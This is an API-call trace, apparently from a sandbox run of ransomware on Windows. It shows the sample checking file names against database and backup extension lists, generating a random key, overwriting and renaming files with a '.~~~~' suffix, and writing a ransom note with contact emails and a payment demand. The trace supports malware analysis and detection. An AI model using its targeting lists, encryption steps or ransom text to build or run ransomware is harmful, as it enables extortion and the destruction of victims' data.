	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DB") returned 0x0
	[0068.734] lstrlenW (lpString=".sql") returned 4
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".sql") returned 0x0
	[0068.734] lstrlenW (lpString=".MYD") returned 4
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".MYD") returned 0x0
	[0068.734] lstrlenW (lpString=".DBT") returned 4
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DBT") returned 0x0
	[0068.734] lstrlenW (lpString=".ACCDB") returned 6
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".ACCDB") returned 0x0
	[0068.734] lstrlenW (lpString=".fdb") returned 4
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".fdb") returned 0x0
	[0068.734] lstrlenW (lpString=".bak") returned 4
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".bak") returned 0x0
	[0068.735] lstrlenW (lpString=".myd") returned 4
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".myd") returned 0x0
	[0068.735] lstrlenW (lpString=".DTXS") returned 5
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DTXS") returned 0x0
	[0068.735] lstrlenW (lpString=".ckp") returned 4
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".ckp") returned 0x0
	[0068.735] lstrlenW (lpString=".dbt") returned 4
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".dbt") returned 0x0
	[0068.735] lstrlenW (lpString=".db") returned 3
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".db") returned 0x0
	[0068.735] lstrlenW (lpString=".TXT") returned 4
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".TXT") returned 0x0
	[0068.735] lstrlenW (lpString=".MDF") returned 4
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".MDF") returned 0x0
	[0068.735] lstrlenW (lpString=".bdb") returned 4
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".bdb") returned 0x0
	[0068.735] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0068.735] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0068.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fac18
	[0068.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0068.735] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0068.736] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0068.736] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0068.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0068.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0068.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3b24c8
	[0068.737] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18872673004) returned 1
	[0068.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x95f43690, dwHighDateTime=0x1d60e1e)) 
	[0068.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0068.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0068.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0068.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39df50
	[0068.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0068.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df50 | out: hHeap=0x300000) returned 1
	[0068.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0068.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0068.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0068.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0068.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0068.737] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0068.737] GetLastError () returned 0x0
	[0068.737] SetLastError (dwErrCode=0x0) 
	[0068.737] GetLastError () returned 0x0
	[0068.737] SetLastError (dwErrCode=0x0) 
	[0068.738] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.738] GetLastError () returned 0x0
	[0068.738] SetLastError (dwErrCode=0x0) 
	[0068.739] GetLastError () returned 0x0
	[0068.739] SetLastError (dwErrCode=0x0) 
	[0068.739] GetLastError () returned 0x0
	[0068.739] SetLastError (dwErrCode=0x0) 
	[0068.739] GetLastError () returned 0x0
	[0068.739] SetLastError (dwErrCode=0x0) 
	[0068.739] GetLastError () returned 0x0
	[0068.739] SetLastError (dwErrCode=0x0) 
	[0068.739] GetLastError () returned 0x0
	[0068.739] SetLastError (dwErrCode=0x0) 
	[0068.739] GetLastError () returned 0x0
	[0068.739] SetLastError (dwErrCode=0x0) 
	[0068.739] GetLastError () returned 0x0
	[0068.739] SetLastError (dwErrCode=0x0) 
	[0068.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0068.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b36e0
	[0068.740] ReadFile (in: hFile=0x120, lpBuffer=0x3b36e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b36e0*, lpNumberOfBytesRead=0x25dfec0*=0x5b2, lpOverlapped=0x0) returned 1
	[0068.868] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffa4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0068.868] WriteFile (in: hFile=0x120, lpBuffer=0x3b36e0*, nNumberOfBytesToWrite=0x5b2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b36e0*, lpNumberOfBytesWritten=0x25dfec0*=0x5b2, lpOverlapped=0x0) returned 1
	[0068.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36e0 | out: hHeap=0x300000) returned 1
	[0068.869] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0068.869] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0068.869] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0068.869] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0068.869] CloseHandle (hObject=0x120) returned 1
	[0068.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0068.872] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.~~~~")) returned 1
	[0068.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0068.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0068.873] GetLastError () returned 0x0
	[0068.873] SetLastError (dwErrCode=0x0) 
	[0068.873] GetLastError () returned 0x0
	[0068.873] SetLastError (dwErrCode=0x0) 
	[0068.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0068.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0068.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0068.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24c8 | out: hHeap=0x300000) returned 1
	[0068.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fac18 | out: hHeap=0x300000) returned 1
	[0068.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5b18 | out: hHeap=0x300000) returned 1
	[0068.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0068.874] RtlWakeConditionVariable () returned 0x365f70
	[0068.874] GetCurrentThreadId () returned 0x9f4
	[0068.874] GetCurrentThreadId () returned 0x9f4
	[0068.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fad90 | out: hHeap=0x300000) returned 1
	[0068.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df88 | out: hHeap=0x300000) returned 1
	[0068.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5b18
	[0068.874] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0068.874] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0068.874] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0068.876] CloseHandle (hObject=0x120) returned 1
	[0068.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5b18 | out: hHeap=0x300000) returned 1
	[0068.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0068.876] RtlWakeConditionVariable () returned 0x365f70
	[0068.876] GetCurrentThreadId () returned 0x9f4
	[0068.876] GetCurrentThreadId () returned 0x9f4
	[0068.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6f10 | out: hHeap=0x300000) returned 1
	[0068.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dfc0 | out: hHeap=0x300000) returned 1
	[0068.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0068.876] lstrlenW (lpString=".scr") returned 4
	[0068.876] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".scr") returned 0x0
	[0068.876] lstrlenW (lpString=".cmd") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".cmd") returned 0x0
	[0068.877] lstrlenW (lpString=".dll") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".dll") returned 0x0
	[0068.877] lstrlenW (lpString=".bat") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".bat") returned 0x0
	[0068.877] lstrlenW (lpString=".cpl") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".cpl") returned 0x0
	[0068.877] lstrlenW (lpString=".sys") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".sys") returned 0x0
	[0068.877] lstrlenW (lpString=".msc") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".msc") returned 0x0
	[0068.877] lstrlenW (lpString=".com") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".com") returned 0x0
	[0068.877] lstrlenW (lpString=".lnk") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".lnk") returned 0x0
	[0068.877] lstrlenW (lpString=".msp") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".msp") returned 0x0
	[0068.877] lstrlenW (lpString=".pif") returned 4
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".pif") returned 0x0
	[0068.877] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0068.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0068.877] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0068.878] lstrlenW (lpString=".sqb") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".sqb") returned 0x0
	[0068.878] lstrlenW (lpString=".ost") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".ost") returned 0x0
	[0068.878] lstrlenW (lpString=".txt") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".txt") returned 0x0
	[0068.878] lstrlenW (lpString=".mdt") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".mdt") returned 0x0
	[0068.878] lstrlenW (lpString=".BDB") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".BDB") returned 0x0
	[0068.878] lstrlenW (lpString=".eql") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".eql") returned 0x0
	[0068.878] lstrlenW (lpString=".DBF") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DBF") returned 0x0
	[0068.878] lstrlenW (lpString=".EQL") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".EQL") returned 0x0
	[0068.878] lstrlenW (lpString=".FDB") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".FDB") returned 0x0
	[0068.878] lstrlenW (lpString=".EDB") returned 4
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".EDB") returned 0x0
	[0068.878] lstrlenW (lpString=".DACPAC") returned 7
	[0068.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DACPAC") returned 0x0
	[0068.879] lstrlenW (lpString=".VHD") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".VHD") returned 0x0
	[0068.879] lstrlenW (lpString=".DBV") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DBV") returned 0x0
	[0068.879] lstrlenW (lpString=".dacpac") returned 7
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".dacpac") returned 0x0
	[0068.879] lstrlenW (lpString=".sdf") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".sdf") returned 0x0
	[0068.879] lstrlenW (lpString=".accdb") returned 6
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".accdb") returned 0x0
	[0068.879] lstrlenW (lpString=".DBX") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DBX") returned 0x0
	[0068.879] lstrlenW (lpString=".MDT") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".MDT") returned 0x0
	[0068.879] lstrlenW (lpString=".SQB") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".SQB") returned 0x0
	[0068.879] lstrlenW (lpString=".vhd") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".vhd") returned 0x0
	[0068.879] lstrlenW (lpString=".bac") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".bac") returned 0x0
	[0068.879] lstrlenW (lpString=".mdf") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".mdf") returned 0x0
	[0068.879] lstrlenW (lpString=".BAK") returned 4
	[0068.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".BAK") returned 0x0
	[0068.879] lstrlenW (lpString=".BAC") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".BAC") returned 0x0
	[0068.880] lstrlenW (lpString=".dbs") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".dbs") returned 0x0
	[0068.880] lstrlenW (lpString=".vhdx") returned 5
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".vhdx") returned 0x0
	[0068.880] lstrlenW (lpString=".NDF") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".NDF") returned 0x0
	[0068.880] lstrlenW (lpString=".dat") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".dat") returned 0x0
	[0068.880] lstrlenW (lpString=".DBS") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".DBS") returned 0x0
	[0068.880] lstrlenW (lpString=".CKP") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".CKP") returned 0x0
	[0068.880] lstrlenW (lpString=".edb") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".edb") returned 0x0
	[0068.880] lstrlenW (lpString=".PST") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".PST") returned 0x0
	[0068.880] lstrlenW (lpString=".dbf") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".dbf") returned 0x0
	[0068.880] lstrlenW (lpString=".SQL") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".SQL") returned 0x0
	[0068.880] lstrlenW (lpString=".pst") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".pst") returned 0x0
	[0068.880] lstrlenW (lpString=".dbv") returned 4
	[0068.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".dbv") returned 0x0
	[0068.881] lstrlenW (lpString=".SDF") returned 4
	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".SDF") returned 0x0
	[0068.881] lstrlenW (lpString=".dtxs") returned 5
	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".dtxs") returned 0x0
	[0068.881] lstrlenW (lpString=".db3") returned 4
	[0068.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi", lpSrch=".db3") returned 0x0
	[0068.881] lstrlenW (lpString=".OST") returned 4
